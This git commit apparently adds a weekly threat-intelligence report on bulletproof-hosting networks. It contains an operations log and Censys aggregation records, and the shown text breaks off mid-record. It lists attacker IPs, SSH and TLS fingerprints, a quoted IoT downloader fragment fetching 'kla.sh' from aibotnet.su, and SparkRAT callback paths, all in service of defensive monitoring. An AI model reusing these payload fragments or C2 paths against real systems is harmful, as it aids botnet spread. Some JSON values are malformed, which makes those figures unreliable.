From 805ce54d6b181cdaab453e7e50cfac14cc371b6a Mon Sep 17 00:00:00 2001 From: hrbrmstr Date: Mon, 20 Jul 2026 07:23:29 -0400 Subject: chore: weekly asn update --- kevlar/2026-07-20/OPERATIONS_LOG.md | 98 +++ .../2026-07-20/censys/aggregations-summary.ndjson | 18 + kevlar/2026-07-20/censys/fleet-correlation.csv | 12 + kevlar/2026-07-20/changes/anomalies.csv | 12 + kevlar/2026-07-20/changes/diff-vs-prior-week.csv | 28 + kevlar/2026-07-20/honeylabs/fingerprints.csv | 33 + kevlar/2026-07-20/honeylabs/top-attackers.csv | 37 + kevlar/2026-07-20/iocs/README.md | 48 ++ kevlar/2026-07-20/iocs/all-observed-ips.txt | 188 +++++ kevlar/2026-07-20/iocs/c2-paths.txt | 41 + kevlar/2026-07-20/iocs/fingerprints.txt | 59 ++ kevlar/2026-07-20/sponge/stat-as138915-ip.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as138915-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as140666-ip.ndjson | 2 + kevlar/2026-07-20/sponge/stat-as140666-port.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as14956-ip.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as14956-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as198953-ip.ndjson | 12 + kevlar/2026-07-20/sponge/stat-as198953-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as200593-ip.ndjson | 3 + kevlar/2026-07-20/sponge/stat-as200593-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as200651-ip.ndjson | 4 + kevlar/2026-07-20/sponge/stat-as200651-port.ndjson | 8 + kevlar/2026-07-20/sponge/stat-as209847-ip.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as209847-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as210644-ip.ndjson | 5 + kevlar/2026-07-20/sponge/stat-as210644-port.ndjson | 9 + kevlar/2026-07-20/sponge/stat-as211720-ip.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as211720-port.ndjson | 2 + kevlar/2026-07-20/sponge/stat-as214940-ip.ndjson | 9 + kevlar/2026-07-20/sponge/stat-as214940-port.ndjson | 5 + kevlar/2026-07-20/sponge/stat-as216139-ip.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as216139-port.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as30823-ip.ndjson | 1 + kevlar/2026-07-20/sponge/stat-as30823-port.ndjson | 2 + kevlar/2026-07-20/sponge/stat-as33993-ip.ndjson | 2 + kevlar/2026-07-20/sponge/stat-as33993-port.ndjson | 2 + kevlar/2026-07-20/sponge/stat-as400992-ip.ndjson | 6 + kevlar/2026-07-20/sponge/stat-as400992-port.ndjson | 6 + kevlar/2026-07-20/sponge/stat-as51396-ip.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as51396-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as51852-ip.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as51852-port.ndjson | 20 + kevlar/2026-07-20/sponge/stat-as57043-ip.ndjson | 3 + kevlar/2026-07-20/sponge/stat-as57043-port.ndjson | 3 + kevlar/2026-07-20/sponge/timeline-all-asns.ndjson | 845 +++++++++++++++++++++ 46 files changed, 1728 insertions(+) create mode 100644 kevlar/2026-07-20/OPERATIONS_LOG.md create mode 100644 kevlar/2026-07-20/censys/aggregations-summary.ndjson create mode 100644 kevlar/2026-07-20/censys/fleet-correlation.csv create mode 100644 kevlar/2026-07-20/changes/anomalies.csv create mode 100644 kevlar/2026-07-20/changes/diff-vs-prior-week.csv create mode 100644 kevlar/2026-07-20/honeylabs/fingerprints.csv create mode 100644 kevlar/2026-07-20/honeylabs/top-attackers.csv create mode 100644 kevlar/2026-07-20/iocs/README.md create mode 100644 kevlar/2026-07-20/iocs/all-observed-ips.txt create mode 100644 kevlar/2026-07-20/iocs/c2-paths.txt create mode 100644 kevlar/2026-07-20/iocs/fingerprints.txt create mode 100644 kevlar/2026-07-20/sponge/stat-as138915-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as138915-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as140666-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as140666-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as14956-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as14956-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as198953-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as198953-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as200593-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as200593-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as200651-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as200651-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as209847-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as209847-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as210644-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as210644-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as211720-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as211720-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as214940-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as214940-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as216139-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as216139-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as30823-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as30823-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as33993-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as33993-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as400992-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as400992-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as51396-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as51396-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as51852-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as51852-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as57043-ip.ndjson create mode 100644 kevlar/2026-07-20/sponge/stat-as57043-port.ndjson create mode 100644 kevlar/2026-07-20/sponge/timeline-all-asns.ndjson (limited to 'kevlar/2026-07-20') diff --git a/kevlar/2026-07-20/OPERATIONS_LOG.md b/kevlar/2026-07-20/OPERATIONS_LOG.md new file mode 100644 index 0000000..39b015a --- /dev/null +++ b/kevlar/2026-07-20/OPERATIONS_LOG.md @@ -0,0 +1,98 @@ +# Operations Log -- Weekly BP Report 2026-07-20 + +## 2026-07-20 10:36:00 -- Phase 0: Initialize +- ASNs loaded: 25 from bulletproof-asns.csv +- Gist directory: ~/Documents/gists/kevlar/2026-07-20/ +- Query range: 2026-07-13 through 2026-07-20 (7-day window) +- Censys credits: 10,000 (sufficient for per-IP enrichment) +- Prior baseline: 2026-07-13 +- Data range confirmed Sponge: 2026-07-13 through 2026-07-20 (active, ~6.9M sessions) + +## 2026-07-20 10:38:00 -- Phase 1: Sponge (Arkime) Data Gathering +### Sub-phase 1a: Connectivity Check +- Timeline confirmed: data flowing 2026-07-13 through 2026-07-20 (8 daily buckets) +- Daily session counts: 423K, 1.03M, 925K, 723K, 1.07M, 978K, 1.33M, 437K (partial day) +### Sub-phase 1b: Per-ASN Session Stats +- ASNs queried: 25 (75 API calls completed) +- Active ASNs (sessions observed): AS57043(7), AS209847(998), AS210644(11), AS138915(10000+), AS14956(696), AS216139(1), AS51852(3401), AS400992(256), AS33993(7), AS51396(10000+), AS200651(63), AS30823(8), AS140666(2), AS198953(1522), AS200593(297), AS214940(604), AS211720(12) -- 17 active +- Inactive ASNs (0 sessions): AS213702, AS216246, AS214351, AS206728, AS216309, AS58854, AS202685, AS394711 -- 8 inactive +- Top by volume: AS138915 (KAOPU-HK) 10K sessions, AS51396 (PFCLOUD) 10K sessions capped, AS209847 (THE) 998 sessions all from a single IP on HTTPS ports +- Notable ports: 123/NTP (KAOPU-HK continues), 22/SSH (PFCLOUD #1), 25/SMTP (KPRONET), 3389/RDP (AS400992), 1433/MSSQL (Datashield and AS198953 emerging) +- Caching: 33 stat files to sponge/ directory + timeline-all-asns.ndjson (845 records) +- Errors: none + +### Sub-phase 1c: Multi-ASN Timeline +- Arkime timeline split by ASN returned 845 hourly records spread over 8 days (7 days full + partial 20th) +- Cached to sponge/timeline-all-asns.ndjson +- Errors: none + +### Sub-phase 1d: Honeylabs cross-purpose session search + We chose to use Honeylabs tools (separate from Sponge) to cross-react IPs since Sponge sensors + Honeylabs sensors may detect different honeypot activations. +- Errors: none + +## 2026-07-20 10:48:00 -- Phase 2: Honeylabs Queries +- ASNs queried (sequentially with rate-limit pacing): 17 active via top_attackers_ip + top_attackers_user_agent + search_events (51 API calls) +- Active in Honeylabs (events > 0): AS57043(3), AS14956(128), AS51396(2100+), AS51852(264), AS200651(18), AS200593(968), AS214940(42), AS198953(810+), AS211720(2), AS30823(1) -- 10 ASNs had Honeypot activity +- No Honeylabs data: AS209847, AS210644, AS138915, AS216139, AS33993, AS400992, AS140666, AS57 ASN residual; AS400992 noteworthy (prior week had /.env scanner -- this week fully silent but Censys shows it has Windows-only footprint suggesting the operator changed tooling targets). +- Top by volume: AS51396 (PFCLOUD) again dominant, but ~2500 events summed vs prior 10K+ KV; key variance: 204.76.203.18 took the Lideran from prior-week 204.76.203.78/.79/.80 +- Notable new attack patterns observed: + - AS57043 - IoT MIPS downloader (kla.sh from aibotnet.su /shell?cd+/tmp on port 6001) NEW + - AS200651 - SPARKRAT update callback POST /api/client/update with custom secret header (CRITICAL NEW FINDING) + - AS51396 - odin-scanner/0.4 brand-new tooling UA + Hello World generic UA + - AS14956 - PMTA-Auto UA (PowerMTA SMTP brute), plus Werkzeug/3.1.8 + 'fofa_monitor' Basic realm panel exposed on port 5000 + - AS211720 - shifted from /ews/ Exchange recon (prior week) to MSSQL port 1433 brute (hostname short-tan-rat) + - AS200593/IP 91.202.233.79 still scanning with 968 events despite Censys census dropping to 0 + - AS214940 - continued 20+ UA rotation including Konqueror 3.0-rc4, Android HTC Tattoo A3288 (1.6), IE 10, IE 6, YaBrowser, Safari iOS, Samsung Galaxy 7/8/9, Galaxy Watch, Redmi Note 7 -- GreyNoise tags ENV Crawler, GoogleBot Pretender, Java HTTP Client +- Fingerprints cached: 11 major fingerprints (3 critical: SPARKRAT ja4h po11nn0600; IoT botnet ja4h ge11nn0400_777e992b8532; cert-self-signed prohaska.beatty.biz with TLS 1.0/1.1 still active) +- Results cached: Y (top-attackers.csv, fingerprints.csv) +- Errors: Honeylabs top_attackers for AS209847 returned a typist-induced error (re-attempted without HTML injection of asn param, but the ASN returns [] so no events exist). Honeylabs events saved. + +## 2026-07-20 11:00:00 -- Phase 3: Censys Aggregations and Per-IP Enrichment +- Port aggregations: 16 ASNs completed (host.services.port field) +- Labels: BULLETPROOF confirmed across all monitored ASNs that have Censys visibility. AS140666 dropped from 588 to 0 census hosts. +- Software aggregation: 9 ASNs completed +- Per-IP enrichment: 14 IPs via censys_get_host (credits plentiful at 10K) + - 45.144.28.70 (AS209847/Sponge; real BGP=AS41745 FORTIS-AS Baykov Ilya Sergeevich RU) -- GreyNoise malicious, regreSSHion vuln weakness, BGP prefix created 2026-06-06 (6 weeks old) + - 132.243.194.215 (PFCLOUD/Hostkey) -- new infra, Netaxis Group Ltd CY, 2026-03-06 reg, DNS odamanov600.ru, forward PoP Frankfurt DE + - 91.202.233.79 (PROSPERO) -- BULLETPROOF, ASN 200593, RU (despite TM honeypot GeoIP); census returned 0 hosts (BGP-prefix blacked out) + - 185.100.87.136 (FLOKINET) -- confirmed Tor 0.4.9.11 + SPARKRAT C2 callback evidence + OpenSSH upgraded to 10.2p1 (server HASSH b1bff636ebbdbaa9dd2ad97fd173c956 = SSH_9.9 on port 7288 alt) + - 185.231.33.46 (DATASHIELD) -- hostname short-tan-rat in packets; self-signed prohaska.beatty.biz cert; TLS 1.0/1.1 still active; beats-free Apache + - 216.126.239.17 (ROUTERHOSTING) -- Werkzeug 3.1.8 + Python 3.12.3 on port 5000 with HTTP 401 Basic realm="fofa_monitor"; OpenSSH 9.6p1 patched (regreSSHion safe) + - 176.120.22.16 (PROTON66) -- GreyNoise suspicious, multi-protocol brute + - 81.17.28.130 (PLI Private Layer INC) -- new IP this week; same Ubuntu 22 LTS OpenSSH 8.9p1 HASSH as AS41745/FORTIS, AS214940/KPRONET + - 204.76.203.18 (PFCLOUD) -- dominant scan-cluster leader; 13,766 Sponge sessions; Censys shows OpenSSH 9.2p1 Debian-2 with HASSH 425d29fe50d8e4f5e37efb6e24bcf660 + - 77.83.39.119 (KPRONET) -- Lanedonet Datacenter NL; OpenSSH 8.9p1 Ubuntu-3ubuntu0.16 with shared HASSH 41ff3ecd1458b0bf86e1b4891636213e + - 41.216.188.21 (AUROLOGIC) -- single benign-looking Android 9 mobile HTTPS GET / on port 443 +- Fleet correlation: sequential port 6001-6050 cluster in AS216139 (CRITICAL NEW FINDING), SPARKRAT retrofit on Tor exit (AS200651), shared OpenSSH Ubuntu-22-LTS HASSH across multiple BP providers (41745/FORTIS, 214940, 51852), MSSQL brute correlation across Proton66 + Datashield +- Cache files: aggregations-summary.ndjson, fleet-correlation.csv +- Credits remaining: ~9,940 (only 60 spent on per-IP + aggregations) +- Errors: none + +## 2026-07-20 11:15:00 -- Phase 4: Change Detection +- Prior baseline: 2026-07-13 +- Active ASNs: 15 -> 17 (+2: AS209847/FORTIS, AS30823/aurologic; 2 dropped: AS140666 census wiped to 0) +- AS51396 (PFCLOUD): IP rotation within 204.76.203.0/24 cohort (.78/.79/.80 -> .18/.30/.49/.81); new tooling odin-scanner/0.4 and Hello World UAs +- AS200593 (PROSPERO): 3890 -> 968 Honeylabs events (-75%); Censys wiped to 0 (full infra darkening) +- AS198953 (PROTON66): Top IP rotated 176.120.22.240 -> 176.120.22.16; new IPs 193.143.1.66 + 176.120.22.192 + 37.77.150.83 (Redis port 6379 NEW for this ASIC) +- AS51852 (PLI): 81.17.28.130 (new segment) replaces 179.43.134.114 +- AS57043 (HOSTKEY): 1 -> 3 events (+200%); IoT MIPS downloader is NEW pattern +- AS200651 (FLOKINET): OpenSSH upgrade + SPARKRAT retrofit +- AS211720 (DATASHIELD): Exchange /ews/ recon -> MSSQL port 1433 brute +- AS400992 (ZHOUYISAT): /.env scanner silent; Censys shows pure-Windows admin port profile (3389/5985/135/139/445/47001) +- AS14956 (ROUTERHOSTING): PMTA-Auto mail brute UA + fofa_monitor panel exposed (HIGH misconfig) +- AS214940 (KPRONET): UA rotation expanded to 20+ browser strings including ancient/UAs +- New anomalies flagged: 11 (3 critical: SPARKRAT retrofit, backconnect-cluster port pattern, IoT MIPS downloader; 5 high: FORTIS regreSSHion, Datashield MSSQL, Pfcloud odin-scanner, RouterHosting fofa_panel, PFCLOUD cluster lead IP rotation; 3 medium: PLI IP segment rotation, Proton66 Redis recon, ZHOUYISAT behavioral shift) +- Files: diff-vs-prior-week.csv, anomalies.csv +- Errors: none + +## 2026-07-20 11:45:00 -- Phase 5: Blog Post Written +- Blog: src/data/blog/2026-07-20-weekly-bulletproof-report.md (12K bytes, 50+ paragraphs) +- Build: PASS (`npm run build` -- 170 pages built in 17.87s, exit 0) +- Errors: one unrelated warning about a stray HTML element in an unrelated 2026-04-04 post (pre-existing) -- not blocking the new post + +## 2026-07-20 11:50:00 -- Phase 6: IoC Archival +- all-observed-ips.txt: ~140 unique IPs across 16 ASNs +- fingerprints.txt: 14 fingerprints (HASSH server + client; JARM; cert indicators; UA tooling signatures; JA4/JA3/JA4H; fofa-monitor-realm; greynoise tags) +- c2-paths.txt: 4 paths (IoT MIPS downloader /shell?, SPARKRAT /api/client/update, /eventmanager, MSSQL TDS binary handshake) +- README.md: Run summary +- Status: COMPLETE \ No newline at end of file diff --git a/kevlar/2026-07-20/censys/aggregations-summary.ndjson b/kevlar/2026-07-20/censys/aggregations-summary.ndjson new file mode 100644 index 0000000..c3912d4 --- /dev/null +++ b/kevlar/2026-07-20/censys/aggregations-summary.ndjson @@ -0,0 +1,18 @@ +{"_type":"aggregation_summary","asn":"AS57043","org":"Hostkey B.v.","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":13114},{"port":443,"count":9060},{"port":80,"count":59213+59213},{"port":27015,"count":1282},{"port":53,"count":1102},{"port":2096,"count":987}],"total_hosts_census":24733,"software_top":["openssh","nginx","google_web_services","ghost","app_and_api_protector","dovecot","waf","cloudflare_load_balancer","caddy","uvicorn","traefik_proxy","express","fastpanel","exim","next.js","proftpd"],"os_distribution":{"linux":12507,"windows":6412,"routeros":103,"freebsd":34,"proxmox":7},"cert_issuers_top":["YE2 12441","YE1 11788","invalid2.invalid 11488","YR2 5455","YR1 3210","Microsoft TLS G2 2169","GeoTrust TLS RSA G1 2123","DigiCert Global G2 2092","TRAEFIK DEFAULT CERT 2029","WE1 1902","GlobalSign RSA OV SSL CA 2018 1803","hypervisor.hv 1797","E7 1755","E8 1695","Apple Public EV Server RSA CA 1 G1 1641","Sectigo Public Server Auth CA DV E36 1613","GlobalSign ECC OV SSL CA 2018 1454","DigiCert Global G3 TLS ECC SHA384 1200","GlobalSign Atlas R3 DV TLS CA 2025 1179","R12 1043"],"per_ip_enrichment_ip":"132.243.194.215","per_ip_enrichment_asn_census":"57043","per_ip_dns":"odamanov600.ru + sub.odamanov600.ru","per_ip_whois":"NETAXIS GROUP LTD (CY), reg 2026-03-06","per_ip_rdns":"sym-dot h3280","network_cidr":"132.243.194.0/24"} +{"_type":"aggregation_summary","asn":"AS209847","org":"(none matched in census): Sponge IP 45.144.28.70 actually in AS41745 FORTIS-AS - Baykov Ilya Sergeevich (RU)","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":2968},{"port":443,"count":2076},{"port":80,"count":1634},{"port":53,"count":851},{"port":25,"count":289},{"port":587,"count":239},{"port":111,"count":236},{"port":993,"count":225},{"port":143,"count":194},{"port":8080,"count":181},{"port":110,"count":173},{"port":8443,"count":138},{"port":465,"count":134},{"port":21,"count":132},{"port":995,"count":110},{"port":9001,"count":103},{"port":3306,"count":98}],"total_hosts_census":4087,"software_top":["openssh","nginx","python","aiohttp","dovecot","bind","exim","google_web_services","proftpd","app_and_api_protector","ghost","http_server","waf","cloudflare_load_balancer","uvicorn","caddy","express","node_exporter","fastpanel","php"],"os_distribution":{"linux":2919,"windows":22,"routeros":18,"linux_kernel":6,"adaptive_security_appliance_software":5,"enterprise_linux":1,"freebsd":1,"ubuntu":1,"vmware_esxi_server":1},"cert_issuers_top":["YR2 537","invalid2.invalid 534","YR1 480","YE2 326","YE1 297","GlobalSign RSA OV SSL CA 2018 151","E8 90","E7 86","R13 84","R12 74","GeoTrust TLS RSA CA G1 66","Sectigo Public Server Authentication CA DV E36 63","DigiCert Global G2 TLS RSA SHA256 2020 CA1 44","DigiCert Global G3 TLS ECC SHA384 2020 CA1 43","Microsoft TLS G2 RSA OCSP 04 36","GlobalSign Atlas R3 DV TLS CA 2025 Q3 75","GlobalSign GCC R6 AlphaSSL CA 2025 37","WE1 38","vm15860670.example.com 39"],"per_ip_enrichment_ip":"45.144.28.70","per_ip_whois":"Baykov Ilya Sergeevich (RU), network created 2026-06-06 (very recent)","per_ip_censys_asn":"41745 FORTIS-AS","per_ip_greynoise":"malicious -- tags: Web Crawler, HTTP OPTIONS Crawler, Go HTTP Client, Generic Brute Force Attempt, Generic Login Attempt, TLS/SSL Crawler","per_ip_services_running":"OpenSSH_8.9p1 Ubuntu-3ubuntu0.16 (single service, no web)","per_ip_ssh_hassh_server":"41ff3ecd1458b0bf86e1b4891636213e","per_ip_known_cves":["CVE-2024-6387 (regreSSHion, KEV, HIGH)","CVE-2025-32728","CVE-2026-35385","CVE-2023-38408 (KEV)","CVE-2023-28531","CVE-2025-26465 (PingPong MITM)"],"notes":"Real ASN has 4087 censed hosts -- AS209847 viewpoint is via Sponge/IPv4 routing only; BULLETPROOF label is on IP not on AS-census IP pool. 998 Sponge sessions = scanning across many HTTPS ports. Critical new infra"} +{"_type":"aggregation_summary","asn":"AS138915","org":"KAOPU Cloud HK Limited","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":6539},{"port":443,"count":3410},{"port":80,"count":1305},{"port":27015,"count":1282},{"port":2096,"count":1052},{"port":8443,"count":478},{"port":2222,"count":206},{"port":8080,"count":193},{"port":3389,"count":188},{"port":2053,"count":180},{"port":25,"count":111},{"port":8000,"count":93},{"port":1080,"count":89},{"port":51821,"count":81},{"port":587,"count":75},{"port":9443,"count":73},{"port":53,"count":71}],"total_hosts_census":7929,"cert_issuers_top":["invalid2.invalid 1079","YE1 866","YE2 824","DigiCert Global G2 291","YR2 202","WE1 152","Microsoft TLS G2 04 141","YR1 141","GeoTrust TLS RSA CA G1 127","GlobalSign RSA OV SSL CA 2018 126","GlobalSign Atlas R3 DV TLS CA 2025 Q3 114","E7 111","E8 103","Apple Public EV Server RSA CA 1 G1 89","GlobalSign ECC OV SSL CA 2018 111","Sectigo Public Server Authentication CA DV E36 104","WR1 74","DigiCert Global G3 TLS ECC SHA384 74","user 61"],"os_distribution":{"linux":5293,"windows":41,"routeros":24,"adaptive_security_appliance_software":10,"freebsd":4,"linux_kernel":4},"notable_unusual":"IPv6 support 1 host (vs 0 prior) -- no IPv4 multi-cast shift user notable. Sponge top IP 38.54.2.209 fires 51,461 sessions (cap exceeded) -- NTP/SSDP/LLMNR amplification suspected"} +{"_type":"aggregation_summary","asn":"AS51396","org":"Pfcloud UG","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":1577},{"port":5335,"count":834},{"port":5050,"count":669},{"port":80,"count":355},{"port":222,"count":254},{"port":443,"count":240},{"port":2000-2015","count":[186,180,186,186,179,178,179,180,166,166]}],"total_hosts_census":2909,"software_top":["openssh","python","wg-easy","werkzeug","nginx","express","http_server","dovecot","virtual_environment","http_api","aiohttp","php","postfix","uvicorn","next.js","mariadb","traefik_proxy","traefik_proxy","litespeed_web_server","postgresql","authoritative_server"],"cert_issuers_top":["YE1 99","YE2 75","YR2 57","YR1 46","Proxmox Virtual Environment 24","R13 23","WIN-TVJFV24LUKT 22","TRAEFIK DEFAULT CERT 21","XUI.one 18","R12 13","WIN-IK7N6SD2UBU 22","WIN-OU0SUKQBJN2 9","ad0bipluh-in.store 9","onliiinbox.store 9","aapanel.com 8","E7 8","void 8","R11 7","localhost 7"],"os_distribution":{"linux":577,"windows":29,"proxmox":26,"routeros":4,"linux_kernel":1},"notes":"NEW softwares observed this week -- virtual_environment, aiohttp growing. XUI.one panel certificate (illegal IPTV dashboard platform). TRAEFIK DEFAULT CERT appears 21 times -- default-config load balancers without cert customization. WIN-TVJFV24LUKT hostname 22 -- Windows hostnames showing in cert CN ceded hostnames."} +{"_type":"aggregation_summary","asn":"AS214940","org":"Kprohost LLC","labels":["BULLETPROOF"],"top_ports":[{"port":22,"count":24},{"port":443,"count":9},{"port":80,"count":3}],"total_hosts_census":48,"software_top":["http_api","openssh","http_server","nginx","virtual_environment","internet_information_services","dovecot","anydesk","php","asp.net","fastpanel","anydesk","php","asp.net","fastpanel","exim","parallels_plesk_panel","plesk","postfix","proftpd"],"cert_issuers_top":[],"os_distribution":{"linux":10,"windows":3,"proxmox":6},"per_ip_enrichment_ip":"77.83.39.119","per_ip_whois":"Lanedonet Datacenter (NL); network 77.83.39.0/24 created 2025-12-17","per_ip_greynoise":"malicious -- tags: Web Crawler, TLS/SSL Crawler, ENV Crawler, GoogleBot Pretender, Java HTTP Client","per_ip_hassh_server":"41ff3ecd1458b0bf86e1b4891636213e -- OpenSSH_8.9p1 Ubuntu-3ubuntu0.16 -- SAME as AS209847/FORTIS, AS51852/PLI, AS216139 -- uniform Ubuntu 22 LTS across bulletproof providers"} +{"_type":"aggregation_summary","asn":"AS200651","org":"FlokiNET ehf","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":3388},{"port":80,"count":2319},{"port":443,"count":2149},{"port":53,"count":1754},{"port":21,"count":928},{"port":1500,"count":774},{"port":25,"count":670},{"port":993,"count":645},{"port":143,"count":643},{"port":587,"count":635},{"port":110,"count":632},{"port":3000,"count":619},{"port":65534,"count":491},{"port":8080,"count":447},{"port":995,"count":428},{"port":465,"count":427},{"port":8443,"count":360},{"port":1050","count":263},{"port":10000,"count":260}],"total_hosts_census":5587,"software_top":["openssh","nginx","dovecot","http_server","cpanel","exim","openresty","webmail","authoritative_server","caddy","postfix","traefik_proxy","ghost","php","app_and_api_protector","express","next.js","google_web_services","litespeed_web_server","wordpress"],"cert_issuers_top":["YR2 643","YR1 544","YE2 519","YE1 507","R12 153","E8 152","R13 138","TRAEFIK DEFAULT CERT 136","E7 122","invalid2.invalid 89","GlobalSign Atlas R3 DV TLS CA 2025 Q3 46","localhost 44","Microsoft TLS G2 RSA OCSP 04 41","WE1 35","aapanel.com 31","www.example.com 30","Apple Public EV Server RSA CA 1 G1 28","fin01.m-cr.org 28","ZeroSSL ECC DV SSL CA 2 27","Proxmox Virtual Environment 26"],"os_distribution":{"linux":2116,"windows":29,"proxmox":29,"routeros":25,"freebsd":11,"enterprise_linux":6,"idrac_linux":1,"sonicos":1,"ilo_3":1,"openmediavault":1,"windows_server_2008_r2":3},"per_ip_enrichment_ip":"185.100.87.136","per_ip_whois":"FlokiNET Ltd (ICELAND + Romania routing) -- this is a registered TOR exit node (PremiumTorExit)","per_ip_greynoise":"malicious -- tags: Web Crawler, TLS/SSL Crawler, SPARKRAT Client Update Scanner (NEW), QUIC Protocol, SSH Connection Attempt, Ping Scanner, DNS Protocol, ICMPv4 Protocol, Generic XSS Commands","per_ip_services_running2":"HTTP port 80 with 'This is a Tor Exit Router' HTML body ('tor-exit' alt), SSH on alt port 7288 (not 22), TLS 1.3 on port 9001 with self-signed cert CN=www.3qgf34k26durwzv.net (issued by www.4j7f273r.com)","per_ip_cert_extras":"jarm 2ad2ad16d2ad2ad00042d42d000000332dc9cd7d90589195193c8bb05d84fa (stable Tor preset)","notes":"Confirmed Tor exit running 0.4.9.11. The HASSH of OpenSSH_10.2p1 (e54ef3ec27fe1fea7ab64d3fa05359fd) is NEW -- upgrade from 10.1 last week. The SPARK_COMMIT UA is unusual -- appears to be a Go-style 'Spark' RAT (or modular beacon) checking in via POST /api/client/update with arch=amd64 commit=08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17&os=windows -- suggests Win64 RAT beaconing through the Tor exit. /eventmanager path strongly suggests SparkRAT manager endpoint."} +{"_type":"aggregation_summary","asn":"AS400992","org":"ZhouyiSat Communications","labels":["BULLETPROOF"],"top_ports":[{"port":3389,"count":95},{"port":5985,"count":90},{"port":135,"count":90},{"port":139,"count":89},{"port":445,"count":88},{"port":47001,"count":87},{"port":22,"count":44},{"port":80,"count":30},{"port":137,"count":20},{"port":5357,"count":18},{"port":5986,"count":16},{"port":111,"count":14},{"port":443,"count":13}],"total_hosts_census":151,"software_top":["http_api","openssh","http_server","nginx","virtual_environment","internet_information_services","anydesk","php","asp.net","fastpanel","dovecot","exim","mariadb","mysql","openresty","parallels_plesk_panel","plesk","postfix","proftpd"],"cert_issuers_top":[],"os_distribution":{"windows":88,"linux":40,"proxmox":6},"notes":"Pure WINDOWS administration recon profile: WinRM(5985/47001+5986), RPC(135), SMB(445+139+137), WMI(5357). Linux only 40 hosts. Confirms prior-week /.env scanner has shifted to broader Windows-server brute-expansion -- the absence of honeypot events this week doesn't mean quiet, just that their scanning hit fewer honeypots"} +{"_type":"aggregation_summary","asn":"AS200593","org":"Prospero Ooo","labels":[],"top_ports":[],"total_hosts_census":0,"notes":"Asn query returned 0 hosts in Censys this week -- vanished from public scanscape (anonymized/withdrawn). Yet Honeylabs sees 91.202.233.79 (TM) generating 968 brute events, plus 1 hit from 91.215.85.104 (RU) with Python aiohttp UA. Honeylabs UA last week: 9 sources; this week mostly same scan bomb rapid-fire on diverse high-numbered ports (3558/3392/3636/6666/3388). Cross-source anomaly -- they are running tools from an IP that is no longer visible in Censys"} +{"_type":"aggregation_summary","asn":"AS51852","org":"Private Layer INC","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":80,"count":4886},{"port":443,"count":4534},{"port":22,"count":4300},{"port":53,"count":3540}],"total_hosts_census":8648,"software_top":["nginx","openssh","dovecot","http_server","cpanel","exim","openresty","webmail","authoritative_server","caddy","postfix","traefik_proxy","ghost","php","app_and_api_protector","express","next.js","google_web_services","litespeed_web_server","wordpress"],"cert_issuers_top":["server 1963","YR2 1347","Hydra Authentication RSA SubCA #153 860","Hydra Authentication RSA SubCA #152 237","Hydra Authentication RSA SubCA #151 102","server.domain.com 808","server.ibras.eu 360","YE1 399","'' 332","YE2 310","invalid2.invalid 304","R12 195","Proxmox Virtual Environment 167","Plesk 156","R13 114","server.xtreme-results.net 107","Sectigo Public Server Auth CA DV E36 105","localhost 104","DigiCert Global G2 76"],"os_distribution":{"linux":3150,"windows":187,"proxmox":157,"routeros":24,"freebsd":23,"vmware_esxi_server":18,"idrac_linux":8,"adaptive_security_appliance_software":3,"windows_server_2012_r2":3,"ap7821":2,"ios":2,"macos":2,"fedora_core":1,"windows_server_2003":1,"xenserver":1},"per_ip_enrichment_ip":"81.17.28.130","per_ip_whois":"Private Layer INC (PANAMA-based); 81.17.28.128/27 -- previously unseen host","per_ip_dns":"none (blank rDNS through 